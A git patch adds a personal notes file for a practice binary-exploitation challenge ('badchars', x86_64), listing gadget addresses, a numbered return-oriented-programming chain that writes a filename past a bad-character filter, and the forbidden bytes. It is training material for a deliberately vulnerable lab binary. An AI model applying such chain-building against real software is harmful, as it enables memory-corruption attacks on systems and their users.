From 3f54969f581fd311c09b1c21758ad9aa4a8784f4 Mon Sep 17 00:00:00 2001
From: Brett Weiland <brett_weiland@bpcspace.com>
Date: Wed, 16 Dec 2020 21:33:39 -0600
Subject: 	new file:   x86_64/badchars/exploit.py 	new file:  
 x86_64/badchars/exploit_dirty.py 	new file:  
 x86_64/badchars/usefullstuff 	deleted:    x86_64/write4/.exploit.py.swp 
 deleted:    x86_64/write4/.useful_gadgets.swp 	modified:  
 x86_64/write4/exploit.py

---
 x86_64/badchars/usefullstuff | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)
 create mode 100644 x86_64/badchars/usefullstuff

(limited to 'x86_64/badchars/usefullstuff')

diff --git a/x86_64/badchars/usefullstuff b/x86_64/badchars/usefullstuff
new file mode 100644
index 0000000..78cd6e8
--- /dev/null
+++ b/x86_64/badchars/usefullstuff
@@ -0,0 +1,40 @@
+0000000000400628 <usefulGadgets>:
+  400628:	45 30 37             	xor    BYTE PTR [r15],r14b
+  40062c:	45 00 37             	add    BYTE PTR [r15],r14b
+  400630:	45 28 37             	sub    BYTE PTR [r15],r14b
+  400634:	4d 89 65 00          	mov    QWORD PTR [r13+0x0],r12
+
+print_file@plt: 0000000000400510
+
+0x00000000004006a0 : pop r14 ; pop r15 ; ret
+
+1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret      <-- to set registers
+1: 
+  r12: "flae-txt"
+  r13: 0x601be0 
+  r14: 1
+  r15: 0x601be4  
+
+2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
+
+3: 0x000000000040062c : add [r15], r14
+
+4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
+  r14: 1
+  r15: 0x601be5
+
+5: 0x00000000004006a3 : pop rdi ; ret  
+  rdi: 0x601be0
+
+6: 0x0000000000400510 : print_file@plt
+
+
+
+
+0x00000000004006a3 : pop rdi ; ret
+
+
+.init_array: 0x601be0 [safe]
+
+we cant use: 'x', 'g', 'a', '.'
+['0x78', '0x67', '0x61', '0x2e']
-- 
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